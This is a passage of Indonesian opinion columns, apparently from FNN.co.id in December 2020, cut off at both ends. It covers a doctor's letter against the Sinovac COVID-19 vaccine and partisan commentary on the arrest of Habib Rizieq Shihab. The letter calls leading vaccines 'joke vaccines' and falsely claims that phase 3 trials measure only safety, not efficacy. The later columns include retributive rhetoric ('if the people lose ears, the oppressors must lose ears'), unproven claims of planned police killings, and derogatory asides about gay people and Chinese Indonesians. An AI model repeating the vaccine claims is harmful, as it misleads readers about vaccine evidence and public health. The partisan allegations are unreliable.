melewati uji klinis fase tiga dan dibuktikan dengan publikasi media jurnal yang terakreditasi serta sudah diulas oleh pihak ketiga yang netral. Selain itu, sambung pria yang karib disapa Pro Beri, vaksin juga harus mendapatkan surat izin edar dari Badan POM setelah melalui sejumlah uji kelayakan. Surat Dokter Menaggapi video Prof. Zubairi Djoerban, dr. Taufiq Muhibbuddin Waly, Sp.PD sempat kirim surat kepada Sejawat Para Pimpinan PB IDI. Judulnya: “Cerdaskan Masyarakat Indonesia”. Dikirim dari Cirebon, Minggu, 13 Desember 2020. Petikannya: Para Sejawat Yth,Pada hari ini saya membaca dan melihat video Ketua Tim Satgas Covid-19 PB IDI, Prof. dr. Zubairi Djoerban, Sp.PD-KHOM dalam masalah vaksinasi Covid-19 di Indonesia. Beliau menghimbau supaya bapak Presiden dan para Menterinya seyogyanya divaksinasi terlebih dahulu. Untuk menjadi contoh teladan bagi masyarakat Indonesia sehingga tidak ragu-ragu untuk di vaksinasi. Apakah ini suatu himbauan yang baik? Para Sejawat Yth,Pada hemat saya salah satu fungsi dari dokter adalah mencerdaskan masyarakat yang awam dalam masalah kesehatan, supaya dapat lebih mengerti tentang hal tersebut. Vaksin yang akan disuntikkan kepada masyarakat Indonesia saat ini adalah vaksin Sinovac. Dan, saya telah mengirimkan artikel pada sejawat semua, tentang 10 vaksin unggulan WHO yang telah masuk fase 3 (“Agama Covid-19, Vaksin Dagelan dan Vaksin Horror (Lawan Penjajahan Covid-19)”). Hasil investigasi terhadap jurnal-jurnal internasional yang saya dapatkan, telah dituliskan dalam artikel itu. Maka berdasarkan ilmu saya, 10 vaksin unggulan WHO tersebut masih di bawah standar (vaksin dagelan). Dan yang paling terlucu dari vaksin-vaksin dagelan tersebut adalah vaksin Sinovac. Apakah para sejawat setuju dengan penilaian saya itu? Di artikel tersebut saya tuliskan bahwa titer antibodi neutralizing Sinovac, bersama dengan CanSinoBio, adalah terendah dari vaksin-vaksin lainnya. Titer antibodi IgG terhadap spike protein SARS COV-2, bersama vaksin Sinopharm, adalah terendah diantara vaksin-vaksin lainnya. Limposit T sitotoksik tidak di periksa pada riset vaksin Sinovac. Percobaan vaksinasi pada orang tua (≥ 60 tahun), tidak mereka lakukan. Padahal uji coba pada orang tua mutlak harus ada pada uji klinis fase 2 riset vaksin. Dengan dasar-dasar di atas, wajar bila Sinovac, mempunyai efek samping yang setingkat dengan placebo. Atau tidak jelas, apakah Sinovac suatu vaksin atau bukan. Karena itulah saya menempatkannya sebagai vaksin terlucu dari 10 vaksin dagelan WHO. Bila sejawat setuju dengan apa yang saya tuliskan di atas, maka menyarankan supaya presiden, disuntik terlebih dahulu dengan vaksin terlucu itu (Sinovac), adalah suatu pembodohan. Seyogyanya sejawat menyarankan pada Presiden RI, supaya vaksin Sinovac itu, jangan dipakai atau dikembalikan lagi ke negara China. Sebab memvaksinasi ratusan juta rakyat Indonesia, dengan keefektifan vaksin sangat rendah, merupakan suatu sandiwara komedi yang sangat besar, dan memalukan kita semua. Memalukan kita semua, karena kitalah yang paling mengerti dalam masalah vaksin tersebut. Dan, adalah dosa yang sangat besar, bila kita tidak memberikan ilmu yang benar dalam masalah vaksin tersebut. Fase 3 dari vaksin Sinovac, yang saat ini tengah berjalan, tidaklah merubah derajat dari ke efektifan vaksin tersebut. Sebab keefektifan vaksin terutama dinilai pada fase 1-2. Sedangkan fase 3, terutama menilai safety atau efek samping dari vaksin tersebut. Tidak ada lagi pemeriksaan laboratorium untuk menilai IgG, antibodi neutralizing, limposit T sitotoksik dan sel NK pada uji klinis fase 3. Demikianlah surat saya. Semoga bermanfaat bagi kita semua khususnya dan masyarakat Indonesia pada umumnya. Untuk memperkuat pengembalian vaksin tersebut selain pada Presiden RI, surat inipun saya tembuskan pada anggota DPR RI. Nabi Muhammad SAW bersabda: “Saling berlaku jujurlah dalam ilmu, dan jangan merahasiakannya . Sesungguhnya berkhianat dalam ilmu pengetahuan lebih berat hukumannya ketimbang berkhianat dalam harta” – (Abu Nu’ai). Salam sejawat. dr. Taufiq Muhibbuddin Waly, Sp.PD Tembusan: 1. Presiden RI; 2. DPR RI Jadi, paham kan mengapa IDI membuat bersuara seperti itu? Termasuk Surat Dokter Taufiq tersebut? Saling jujurlah dalam ilmu! Penulis wartawan senior FNN.co.id

Telegram dari Langit: Teguhlah dalam Kesabaran dan Siap-siagalah

by Asyari Usman Medan FNN - Selasa (15/12). Perjuangan para nabi dan Rasulullah selalu bersandar pada kesabaran. Mereka, para nabi, teguh dalam kesabaran. Dengan modal kesabaran dan teguh dalam kesabaran itulah mereka memperoleh keberhasilan. Hampir semua nabi mengalami persekusi dalam menegakkan kebenaran. Nabi Ibrahim dibakar hidup-hidup. Inilah puncak perskusi yang Beliau alami. Namun, sebelum ‘alaihissalam dibakar oleh kaumnya sendiri, Ibrahim tidak pernah berhenti mengingatkan orangtua dan saudara sekaum tentang Tauhid. Dan tentang amal baik. Ibrahim mengutamakan kesabaran dan teguh di dalam kesabaran itu. Akhirnya, Ibrahim sukses dan api yang membakar tubuhnya berubah menjadi dingin. Begitu juga Nabi Nuh ‘alaihissalam. Ditolak oleh kaumnya. Bahkan ditolak juga oleh keluarganya. Namun, Nuh tidak surut. Tak kenal lelah, Beliau diberikan waktu 950 tahun untuk mendakwahkan kebenaran. Dahsyatnya, sepanjang sembilan abad itu hanya 83 orang yang menerima dakwah ‘alaihissalam. Namun, Nuh sabar dan teguh di dalam kesabaran. Pun sama halnya dengan Nabi Luth. Dikejar-kejar oleh umatnya yang mempraktikkan gaya hidup sejenis. Laki-laki berpasangan dengan laki-laki. Luth ‘alaihissalam memperingatkan mereka tentang kemurkaan Allah. Tapi, mereka melawan. Mereka usir Nabi dan manantang agar diturunkan azab kepada mereka jika Luth memang benar. Akhirnya mereka punah dihujani bala besar. Sebelum bencana itu diturunkan, Luth berdakwah dengan sabar dan teguh di dalam kesabaran. Nabi Musa ‘alaihissalam disiapkan Allah SWT untuk menghancurkan Fir’aun yang begitu kuat dan mengaku sebagai tuhan. Musa dibesarkan Fir’aun di istananya. Dia harus bersabar dan teguh dalam kesabaran menunggu sampai usia dewasa. Ketika itulah Musa ‘alaihissalam memulai perlawanan frontal terhadap Fir’aun. Musa dikejar sampai ke pinggir Laut Merah. Nyaris saja Nabi dan pengikutnya dihabisi balatentara Fir’aun. Namun, kesabaran Musa dan keteguhannya di dalam kesabaran membuahkan pertolongan Allah. Laut terbelah. Musa dan pengikutnya bisa menyeberang selamat. Sedangkan Fir’aun dan pasukannya tenggelam. Rasulullah Muhammad shallallahu ‘alaihi wasallam juga berdakwah penuh tantangan dan tentangan. Beliau menghadapi resistensi keras dari kaum musyrik di Mekah. Di Taif, Rasulullah dilempari sampai berdarah-darah. Nabi terpaksa pindah ke Madinah di tengah berbagai kesulitan hidup, termasuk kesulitan logistik. Tetapi, Beliau tetap sabar dan teguh di dalam kesabaran. Sabar dan teguh di dalam kesabaran sangat krusial dalam perjuangan. Allah menukilkan ini sebagai penutup surat Ali Imran, ayat 200: “Yaa ayyuhalazina amanu, ishbiru wa shabiru wa rabithu. Wattaqullaha la’allakum tuflihuun.” “Hai orang-orang yang beriman, bersabarlah (ishbiru); dan teguhlah dalam kesabaran (wa shabiru), serta siap-siagalah (wa rabithu). Dan, bertaqwalah kepada Allah agar kalian berjaya.” Lebih-kurang, “telegram” dari Langit ini mengarahkan agar Anda bersabar. Tapi, tak cukup hanya itu. Anda harus teguh di dalam kesabaran. Di tengah meneguhkan kesabaran yang tidak mudah dijalani itu, Anda disuruh pula bersiap-siaga. Dan masih belum cukup juga, Anda diperintahkan untuk bertakwa kepada Allah al-Qawiyyun al-‘Aziz. Setelah itu, barulah dibukakan pintu kejayaan untuk Anda. Nah, bisakah kita semua senantiasa bersabar dan teguh di dalam kesabaran? Tentulah sangat berat. Orang bilang, kesabaran ada batasnya. Tapi, Allah mengisyaratkan agar kita menumpuk kesabaran itu sebanyak mungkin sampai jumlahnya ‘tidak bernomor seri lagi’. Hanya saja, sambil menumpuk kesabaran, Anda haruslah senantiasa waspada dan siap menghadapi semua kemungkinan yang bisa terjadi. Wallahu a’lam. Mohon ampun kepada Allah jika ini salah, dan mohon maaf kepada teman-teman semua bila ini tak berkenan. Tidak ada maksud untuk berceramah.[] Penulis wartawan senior FNN.co.id

Penahanan HRS Boleh Jadi Awal Seleksi Cara Langit

by Asyari Usman Medan FNN - (Selasa 14/12). HRS diperiksa polisi selama 13 jam. Setelah itu, ditahan. Tangannya digari. Dibawa dengan mobil tahanan menuju sel. Perlukah semua ini dilakukan oleh polisi? Tentu jawaban normatifnya adalah semua itu prosedur tetap (protap). Apa kira-kira maksud protap itu diberlakukan kepada Habib? Pantas diduga tujuan gari tangan, rompi orangye, mobil tahanan dan kemudian sel tahanan adalah untuk merendahkan Habib. Membuat agar beliau ‘down’. Tercapaikah tujuan itu? Kelihatannya tidak. HRS sudah siap mental. Dia tahu persis risiko perjuangan yang diusahakannya. Rata-rata orang berpandangan bahwa gari tangan, mobil tahanan dan sel penjara adalah bentuk penghinaan terhadap ulama. Dilihat sebagai tindakan yang melecehkan. Tindakan yang berlebihan yang tidak perlu. Dan sangat menyakitkan bagi umat. Pastilah menyakitkan. Jika dilihat dengan cara biasa, maka proses penahanan HRS itu menjatuhkan martabatnya. Karena itu, banyak umat yang merasa sedih. Terpukul melihat perlakuan terhadap Habib. Banyak yang menangis menyaksikan itu. Terasa kejam dan sangat kasar. Begitu penilaian banyak orang dengan cara pandang biasa. Ini bisa dimaklumi. Namun, ada cara lain melihat proses penahanan HRS yang tampak kejam itu. Peristiwa gari tangan, mobil tahanan dan sel penjara untuk HRS bukanlah penghinaan. Boleh jadi, inilah awal dari proses seleksi rancangan Langit. Yaitu, seleksi yang bertujuan untuk mengumpulkan orang-orang yang memiliki kepahaman tentang perjuangan. Lebih-kurang, Allah SWT lewat penahanan HRS yang terasa menyakitkan itu sedang merekrut orang-orang yang siap maju ke depan. Siap berjuang ‘all out’ untuk menegakkan keadilan. Agar keadilan itu dirasakan oleh seluruh rakyat Indonesia tanpa kecuali. Yaitu, keadilan untuk rakyat jelata. Keadilan untuk para penguasa. Ketika rakyat bahagia, maka para penguasa pun wajar bahagia. Jika rakyat menderita, maka para penguasa harus merasakan penderitaan itu. Bila perlu, penderitaan penguasa lebih berat lagi. Ketika rakyat dizalimi oleh para penguasa, maka para penguasa harus menerima kembali kezaliman itu. Inilah konsep keadilan yang akan ditegakkan oleh para pejuang yang boleh jadi sedang diseleksi oleh Yang Maha Kuasa, hari ini. Jika rakyat diperlakukan sewenang-wenang oleh penguasa, maka penguasa pun harus merasakan derita yang setimpal dengan kesewenangan mereka. Jika rakyat kehilangan kuping, maka para pelaku kezaliman harus kehilangan kuping. Siapa pun pelakuknya. Jika rakyat kehilangan nyawa karena kesewenangan para penguasa, maka para penguasa pun wajib dihukum secara adil dan setimpal dengan pembunuhan yang mereka lakukan. Itulah cara lain melihat proses penahanan HRS. Ada semacam pesan Langit kepada seluruh umat bahwa mereka sedang diseleksi dengan sistem yang tidak sama dengan cara pengrekrutan di Bumi. Seleksi cara Langit bisa sangat sulit dipahami. Tetapi, proses itu akan berjalan dengan sendirinya. Semua pejuang keadilan yang diperlukan Langit akan terkumpulkan secara natural. Akan berbondong-bondong umat yang mengikuti seleksi Alam itu. Ini yang mungkin tidak terkalkulasikan oleh lingkaran kezaliman. Wallahu a’lam.[] Penulis, wartawan senior FNN.co.id

Tetapkan Gibran & Bobby Sebagai Tersangka

by M Rizal Fadillah Jakarta FNN – Ahad (13/12). Penetapan tersangka kepada Habib Rizieq Shihab (HRS) dan lima orang lainnya adalah preseden buruk penegakan hukum negeri ini. Pada kekuasaan Jokowi inilah hukum ditegakkan suka-suka seleranya penguasa saja. Persoalan keadilan dan kezaliman, itu urusan nanti. Yang penting, tangkap saja dulu. Salah atau benar, juga itu urusan belakangan. Model kegiatan serupa yang berfokus pada adanya kerumunan oarang dalam jumlah banyak harusnya juga dapat ditetapkan sebagai tersangka. Pilkada sangat potensial untuk menetapkan banyak orang menjadi tersangka. Salah satunya adalah Pilkada Solo dimana Gibran bin Jokowi telah melakukan unjuk massa pendukung untuk berkerumun. Begitu juga yang terjadi dengan Bobby Nasution, suaminya Kahiyang Ayu Siregar bin Jokowi. Bobby juga mengumpulkan orang dalam jumlah banyak. Mulai dari rangkaian kegiatan pra pendaftaran di Komisi Pemilihan Umum (KPU), sampaing dengan pendaftaran di KPU dan kampanye-kapmpanye pasangan Bobby di pemilihan Walikota Medan. Pasal 27 ayat (1) UUD 1945 menyatakan bahwa semua warga negara berkedudukan sama dalam hukum. Tidak boleh ada diskriminasi, termasuk kepada putera dan anak mantu Presiden Gibran dan Bobby. Asas "equality before the law" itu berlaku universal untuk semua warga negara. Karenanya tidak berbeda antara HRS dengan Gibran dan Bobby Nasution. Proses hukum juga harus diberlakukan kepada Gibran bin Jokowi dan Bobby Nasution dengan tuduhan sama kepada HRS. Tersangkakan Gibran bin Jokowi dan Bobby Nasution, serta orang-orang sekitarnya yang ikut menentukan terjadinya kerumunan dalam melanggar protokol kesehatan. Masyarakat berhak bertanya, mengapa urusan Pilkada dibenarkan untuk berkerumun? Apakah karena dilakukan oleh pendukung dari kalangan partai politik penguasa? Mengapa kerumunan di pasar-pasar tradisional masih dibolehkan, mengapa acara pernikahan di tempat lain, meski dengan anjuran mengikuti protokol kesehatan tetap berkerumun juga tidak ditersangkakan? Maksimum hanya ditegur. Memang persoalan HRS dilihat penguasa bukan lagi masalah hukum. Tetapi persoalan stabilitas politik . Masalah represivitas penguasa dan keangkuhan politik terasa sangat dominan. Nah kini dalam kasus proses politik, maka hal yang membahayakan kesehatan masyarakat harus diberi sanksi pula. Gibran bin Jokowi dan Bobby Nasution, mantu Jokowi termasuk di dalamnya. Kegiatan dan proses politik yang nyata-nyata membahayakan keselamatan masyarakat. Karena itu harus ada pertanggungjawaban atas kerumunan para pendukung dalam kemenangannya. Apakah memang polisi mennganggap bahwa tidak ada pelanggaran protokol kesehatan pada kumpulan banyak orang yang dilakukan Gibran bin Jokowi dan Bobby Nasution? Ketika ada pejabat beralasan bahwa kasus Gibran dan Bobby Nasution berada di bawah aturan UU Pilkada, sehingga jadinya berbeda dengan perlakukan kepada HRS. Jika demikian yang menjadi alasan, maka ini nyata-nyata pembodohan publik namanya. Sebab keduanya berada dalam kondisi yang sama, yaitu sedang musim pandemi Covid 19. Bahwa yang satu diatur dengan UU Pilkada, maka yang lainnya juga diatur oleh UU Perkawinan. Jika diberlakukan UU Kekarantinaan Kesehatan sebagai "Lex Specialis", maka keduanya sama-sama dalam mendapatkan perlakuan hukum. Kalau HRS ditersangkakan, maka layak untuk Gibran dan Bobby juga jadi tersangka. Sebagai anak Presiden tentu tidak bisa dibedakan dan diringankan hukumannya. Malah seharusnya menjadi teladan, sehingga perlu diberatkan hukumannya. Pelanggaran atas asas "equality before the law" adalah pelanggaran juga terhadap UUD 1945. Artinya Presiden telah melanggar konstitusi negara. Hanya satu pilihan opsional untuk keadaan ini, yaitu bebaskan HRS dari tuduhan pelanggaran UU Kekarantinaan Kesehatan dan penghasutan berdasarkan Pasal 160 KUHP atau segera tersangkakan dan proses hukum Gibran bin Jokowi dan Bobby Nasution, suami Kahiyang Ayu Siregar bin Jokowi. Apapun yang ditimpakan kepada HRS, berlaku pula untuk Gibran daqn Bobby. Penulis adalah Pemerhati Politik dan Kebangsaan.

HRS Diborgol, Lalu?

by Tony Rosyid Jakarta FNN – Ahad (13/12). Dua kali panggilan penyidik Polda Metro Jaya, Habib Rizieq Shihab (HRS) berniat hadir. Namun karena alasan kesehatan, pengacara memberi pertimbangan agar HRS tidak hadir dulu dan diwakili oleh pengacaranya. Pengacara minta kepada penyidik Polda Metro Jaya agar ada penundaan atau penjadwalan ulang panggilan. Panggilan ketiga, HRS tidak hadir karena sedang mengurus enam pengawalnya yang ditembak mati dalam peristiwa Tol KM 50. Sedang dalam masa berkabung. Karena tak hadir, rencananya HRS akan dijemput paksa oleh Polda Metro Jaya. Sebelum dijemput paksa, HRS mengutus pengacaranya untuk memberi tahu kepada Polda Metro Jaya agar tidak perlu mengeluarkan biaya dan uang negara hanya untuk mengerahkan pasukan, baik Polri maupun TNI untuk menjemput dirinya. HRS rencananya akan datang sendiri ke Polda Metro Jaya pada hari sabtu, 12 Desember 2020. Sebelum datang ke Polda Metro Jaya, HRS memberi pesan kepada Umat, bahwa dirinya telah menyiapkan diri untuk menghadapi segala risiko. Apapun itu, termasuk ditahan maupun dibunuh. Apapun yang akan terjadi pada dirinya, perjuangan tidak boleh berhenti, katanya. Perjuangan harus terus berlanjut dan berlanjut. HRS selama ini dikenal dengan "Tiga Tuntutan" yang telah menjadi garis perjuangannya. Pertama, tetap dan teguh pertahankan TAP MPRS No 25 Tahun 1966 Tentang Larangan Paham Komunisme, Marxisme dan Leninisme. Kedua, keadilan ekonomi, khususnya untuk pribumi. Pemerintah agar tidak rajin menjual aset negara kepada asing maupun aseng. Ketiga, menjaga toleransi beragama, dengan menindak tegas para penista agama. Siapapun mereka dan agama apapun yang dihinanya. Tawaran Untuk Tidak Hadir Saat HRS datang ke Polda Metro Jaya pukul 08.45, Humas Polda Metro Jaya Kombes Yusri Yunus menyambut dengan menyatakan bahwa "jadi, MRS itu takut ditangkap sehingga dia menyerah dan datang ke Polda Metro Jaya" (12/12). Pernyataan ini kemudian menimbulkan polemik di tengah masyarakat. Pertanyaanya, apakah betul HRS itu takut ditangkap? Beredar info, bahwa sebelum datang ke Polda Metro Jaya, banyak pihak yang menawarkan HRS untuk tidak hadir. Seperti Harun Masiku (kader PDIP saat itu). HRS bisa bersembunyi, baik di dalam negeri maupun luar negeri. Tapi, HRS tegas menolak. "Saya akan hadapi akan haddapi semuanya. Saya tidak akan lari", begitu katanya. Nah, poin inilah membikin banyak yang demen. HRS tidak Pengecut! Sehari sebelum HRS pulang ke Indonesia, otoritas keamanan tertinggi Arab Saudi (Amir Daulah) kabarnya telah memberi tahu jika ia pulang ke Indonesia, banyak pihak yang akan ngerjain. Disarankan HRS agar tinggal dulu beberapa bulan. Tiga bulan, enam bulan atau setahun dulu di Arab Saudi dengan jaminan keamanan dan fasilitas dari pemerintah Arab Saudi. Bahkan HRS dan keluarga boleh tinggal berapapun lamanya, Arab Saudi akan memberikan jaminan keamanan dan fasilitas. Tetapi, jika HRS pulang ke Indonesia, Arab Saudi tidak punya otoritas untuk menjamin keamanan itu. Dan jika karena situasi tertentu HRS ingin balik ke Saudi, 24 jam On Call, visa bisa disiapkan untuk HRS dan keluarga balik lagi ke Arab Saudi. Dasar bukan pengecut, HRS putuskan untuk pulang kampong. "Indonesia itu negaraku. Aku akan pulang. Saat ini, Indonesia butuh orang-orang untuk memperjuangkannya. Untuk menyelamatkannya. Bersama rakyat, saya akan berjuang untuk ikut bertanggung jawab menyelamatkan Indonesia", begitu jawab HRS kepada otoritas keamanan tertinggi Arab Saudi. Jika HRS takut hadapi risiko, takut ditangkap, bahkan takut dibunuh, tentu HRS akan memilih berdiam diri di Arab Saudi sampai menunggu situasi politik nasional stabil dan kondusif. Tetapi, HRS memang lain dari yang lain. Dia punya nyali di atas umumnya orang. Soal kalkulasi dan kirka, tak ada orang tahu apa yang ada di pikiran HRS saat ini. Apa Langkah Bereikutnya? Setelah sekitar 15 jam diperiksa penyidik, HRS ditahan dengan kedua tangan diborgol. Imam besar FPI diborgol. Penggerak demo 212 itu diborgol. Tampak HRS keluar dari ruang penyidik dengan baju tahanan berwarna khas “orange”. Lalu bagaimana kelanjutan perjuangan HRS? Terus atau ikut diborgol? Melanjutkan perjuangan atau menyerah pasrah? Bagaimana pula reaksi dari para pendukung HRS? Hanya prihatin, menangis dan membuat pernyataan di medsos? Atau mereka akan ikut menyerahkan diri untuk ditahan bersama HRS? Sebagaimana berbagai pernyataan di video yang banyak beredar sejak dua hari lalu? Apakah para pendukung HRS, atas nama keadilan dan kesamaan di depan hukum, akan melaporkan kasus-kasus kerumunan yang terjadi di berbagai tempat? Termasuk melaporkan kerumunan yang melibatkan Gibran Rakabuming dan Bobby Nasution, putra dan menantu Jokowi yang diduga juga telah menciptakan kerumunan? Apakah para pendukung HRS bakal melaporkan Jokowi dan mendagri yang mengizinkan pilkada 2020 lalu? Pilkada yang terbukti menyebabkan 79.241 petugas KPPS reaktif Covid-19? Sebagian malah ada yang meninggal dunia. Atau para pendukung HRS akan memilih berkumpul dengan massa dalam jumlah besar dan melakukan protes ke Polda Metro Jaya? Kabarnya, anggota FPI di seluruh Indonesia ada lima juta orang. Benarkah angka itu? Kalau benar, jumlah itu belum termasuk simpatisan dan pendukung. Apakah mereka kompak, terkonsolidasi, lalu secara serempak bisa berkumpul di satu tempat dan melakukan protes? Dan siapa yang akan pegang komando dan mengkonsolidasikan massa pendukung setelah HRS diborgol? Diborgolnya HRS kali ini (13/12) akan menguji tingkat militansi para pengikut dan pendukung HRS, serta kemampuan konsolidasi para tokoh yang berada di sekitar HRS. Publik akan melihat dan mengukurnya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

“Soal Kecil” Bikin Habib Rizieq Ditahan, Adilkah?

by Mochamad Toha Surabaya FNN - Ahad (13/12). Setelah menjalani pemeriksaan sebagai tersangka penghasutan dan melawan petugas, Habib Rizieq Shihab (HRS) resmi ditahan di Rutan Polda Metro Jaya (PMJ). HRS digiring ke Rutan Polda Metro Jaya dengan kondisi tangan diborgol. Seperti dilansir Detikcom di Polda Metro Jaya, Minggu (13/12/2020) pukul 00.28 WIB, HRS dikawal keluar dari gedung Direktorat Reskrimum PMJ. Tangan HRS tampak terborgol. HRS mengenakan baju tahanan berwarna oranye. Seorang perempuan simpatisan HRS tampak histeris saat melihat HRS diborgol. Beberapa di antaranya meneriakkan takbir. Allahu Akbar! “Jangan diborgol habib kami,” teriak seorang perempuan sambil menangis. HRS mendatangi PMJ, Sabtu (12/12) pukul 10.24 WIB. HRS datang menggunakan mobil berwarna putih dengan pelat nomor B-1-FPI bersama rombongan, salah satunya Sekretaris Umum FPI Munarman. Saat tiba, HRS sempat mengacungkan jempol usai keluar dari mobil. HRS tiba dengan mengenakan pakaian berwarna putih. Setibanya di lokasi, ia sempat memberikan sedikit pernyataan dan kemudian masuk ke dalam gedung Ditreskrimum PMJ. Seperti diketahui, PMJ telah melakukan gelar perkara terkait kasus kerumunan acara HRS di Petamburan, Jakarta Pusat. Dalam gelar perkara itu, polisi menetapkan 6 orang tersangka, salah satunya HRS. “Dari hasil gelar perkara menyimpulkan ada enam yang ditetapkan sebagai tersangka. Yang pertama sebagai penyelenggara Saudara MRS sendiri. Disangkakan Pasal 160 dan 216 (KUHP)," ujar Kabid Humas PMJ Kombes Polisi Yusri Yunus, Kamis (10/12/2020). Padahal, sebelumnya HRS sudah membayar denda Rp 50 juta terkait pelanggaran PSBB saat menikahkan putrinya dan peringatan Maulid Nabi Muhammad SAW di Petamburan pada 14 November 2020 lalu. Dalam hukum, tidak boleh seseorang itu dihukum 2 kali terhadap kejahatan yang sama! Jadi, seseorang tidak boleh dikenakan denda double atau twice for the same crime or mistake! Itu adalah aturan hukum. Dalam hukum Pidana atau Perdata, tidak boleh hukuman itu double atau 2 kali terkait kasus, kejahatan atau kesalahan yang sama. Semua kejahatan atau kesalahan Non-Criminals, rata-rata cukup membayar Denda dan tidak ada Jail Time. Kecuali orangnya menolak membayar denda atau tidak mampu membayar denda, maka uang denda bisa diganti dengan jail time. Itulah Justice And Fairness. HRS sudah membayar denda Rp 50 juta kepada Pemprov DKI Jakarta dan kasus itu seharusnya selesai. Pertanyaannya, mengapa Polda Metro Jaya masih menjadikan HRS Target Operation dan merekayasa kasus ini dengan berbagai Dirty Tricks serta mencari-cari kesalahan HRS? Padahal, di luar sana pelanggaran kerumunan banyak terjadi di mana-mana. Tapi mengapa PMJ hanya membidik HRS? That is too obvious, bahkan pengamat politik dari Australia saja juga sudah tahu, rezim sekarang lewat polisi menarget Muslim Oposisi. That is a stupid law enforcement! Itu adalah penegakan hukum yang bodoh! Tampaknya Kapolda Metro Jaya Irjen Polisi Fadil Imran begitu sangat ingin menangkap dan memenjarakan HRS, apakah perintah atasan, demi untuk kepentingan politik, demi memburu kenaikan Pangkat atau Jabatan menjadi Kapolri pengganti Jenderal Idham Azis? Pembunuhan terhadap 6 pengawaI HRS yang tidak punya kasus sebelumnya, bukan teroris dan bukan koruptor, tahu-tahu di tembak mati tanpa due process and fair trial, merupakan pelanggaran HAM Berat dan extra judicial killings yang harus diusut tuntas. Presiden Joko Widodo harus turun tangan dan segera membentuk Tim Gabungan Pencari Fakta (TGPF) yang harus didukung Komnas HAM. Kabarnya, Komnas HAM mulai menaruh perhatian terkait kasus penembakan 6 pengawal HRS itu. “Komnas HAM masih Rapat Internal, Mas,” ujar sumber yang dekat dengan Komnas HAM. Jika Presiden Jokowi tidak segera turun tangan, bukan tidak mungkin kasus penembakan 6 pengawal dan intimidasi HRS berpotensi dibawa ke Mahkamah Internasional. Langgar HAM Menurut Abdullah Hehamahua, mantan penasehat KPK masa jabatan 2005-2013, apa yang dilakukan polisi terhadap HRS dan pengawalnya telah melanggar HAM. Pelanggaran HAM pertama yang dilakukan oleh polisi: membuntuti perjalanan HRS. “HRS itu bukan teroris, (bukan pula) pengedar narkoba, atau tersangka yang harus dibuntuti kegiatannya. Hak azasinya sebagai warganegara untuk bisa pergi ke mana saja dalam wilayah Indonesia, sudah dirampas polisi,” katanya. Pelanggaran HAM kedua, polisi telah melakukan teror psikologis ke HRS dan keluarganya. Pelanggaran ketiga, enam orang warga sipil yang tidak bersenjata, bukan teroris, pengedar narkoba atau tersangka, dibunuh tanpa suatu proses pengadilan. Pelanggaran keempat, otopsi yang dilakukan polisi terhadap keenam jenazah pengawal HRS tersebut tanpa persetujuan keluarga. Pelanggaran kelima, ada tanda-tanda penganiayaan di keenam jenazah yang setiap jenazah terdapat lebih dari satu peluru dan mengarah ke jantung. Ini merupakan pelanggaran HAM berat. Sebab, wewenang tertinggi polisi dalam menghadapi seorang penjahat adalah melumpuhkan, yakni menembak bagian kaki. Fakta ini menunjukkan bahwa polisi sudah merencanakan pembunuhan terhadap HRS dan pengawalnya. Abdullah Hehamahua mengutip peneliti KONTRAS Danu Pratama yang mengatakan, aksi kekerasan sepanjang 2019 mayoritas dilakukan aparat kepolisian. Jumlah aksi kekerasan tersebut mencapai 103 kasus. Mayoritas adalah kasus penganiayaan dan bentrokan, sebanyak 57 kasus. Peristiwa tersebut membuat 102 orang luka-luka dan dua orang meninggal. Kemudian 33 kasus penyiksaan dengan 32 orang luka dan 9 orang meninggal, 5 kasus salah tembak dengan tiga orang luka dan lima orang meninggal, serta delapan kasus intimidasi. Ada tiga Kesimpulan Abdullah Hehamahua. Pertama, aksi penembakan dan penganiayaan terhadap enam pengawal HRS adalah tindakan pelanggaran HAM berat. Kedua, Presiden harus segera mengambil tindakan tegas pada Kapolri dan Kapolda sebagaimana yang dilakukan terhadap Kapolda Jabar dan Metro Jaya dalam kasus pelanggaran protokol kesehatan yang dilakukan pendukung HRS. Ketiga, Komnas HAM, bersamaan dengan hari HAM Internasional (10 Desember 2020) segera membentuk Tim Pencari Fakta Independen, baik atas instruksi presiden maupun inisiatif sendiri, sehingga kasus pembunuhan enam pengawal HRS harus diadili oleh Pengadilam HAM, bukan pengadilan biasa. Komnas HAM dan LPSK harus menjaga mereka, melindungi mereka dan menolak semua permintaan PMJ atau institusi Kepolisian lainnya hingga kasus pembunuhan 6 laskar FPI ini selesai. Semua kasus non-crimimal terhadap HRS dan anggota FPI lainnya harus dibekukan. Kalau Pemerintah dan Polri tidak mampu menegakkan Keadilan, chaos dan conflict secara vertikal dan horizontal sudah ada di depan mata. When injustice becomes law, protest becomes a duty! Ketika ketidakadilan menjadi hukum, maka unjuk rasa menjadi sebuah kewajiban (wajib dilakukan). Penembakan 6 pengawal HRS bukan tidak mungkin itu terencana dan terprogram dengan izin institusi Polri. Jadi, jangan cuci tangan dengan hanya korbankan bawahan dikirim ke Provpam, tapi seluruh pejabat Polri dari Kapolri dan Kapolda Metro Jaya sampai eksekutor lapangan harus diseret ke Pengadilan HAM. Awalnya, HRS dibidik dengan perkara pelanggaran prokes berdasarkan pasal 93 Jo 9 UU Nomor 6 Tahun 2018 Tentang Kekarantinaan Kesehatan. Meski sudah ada pasal 216 KUHP tentang melawan petugas/pajabat, namun konteksnya tetap dalam koridor penegakan protokol pandemi. Tapi, pada saat pemanggilan HRS dan sejumlah pihak dari FPI, tiba-tiba dalam penyidikan itu muncul pasal 160 KUHP tentang penghasutan. Pasal ini tidak ada dalam proses penyelidikan, dan tak ada kaitannya dengan prokes. Setelah dipanggil tidak hadir karena ada udzur, HRS dan sejumlah pihak dari FPI secara ajaib menyandang gelar Tersangka berdasarkan pasal 216 dan 160 KUHP yang pada kenyataannya telah diikuti dengan penangkapan dan penahanan. Pasal ini adalah pasal kunci, agar bisa menahan HRS. Sebab, jika penetapan Tersangka hanya berdasarkan pasal 93 Jo 9 UU No 6/2018, dan pasal 216 KUHP, polisi tak bisa menahan HRS karena ancaman pidananya di bawah 5 tahun. Pasal 216 KUHP ancaman pidananya hanya 4 bulan 2 minggu. Pasal 93 Jo 9 UU No 6/2018 ancaman pidananya hanya 1 tahun penjara. Padahal, menurut Pasal 21 ayat (4) KUHAP huruf a dikatakan bahwa penahanan hanya bisa dilakukan terhadap tindak pidana yang diancam dengan pidana penjara lima tahun atau lebih. Tanpa menambahkan pasal 160 KUHP, dipastikan penyidik PMJ tak dapat menahan HRS. Pasal “melawan petugas/pajabat” (216 KUHP) jelas tidak bisa diterapkan karena HRS sudah membayar denda Rp 50 juta. Begitu pula pasal “penghasutan” (160 KUHP) tidak pantas lagi 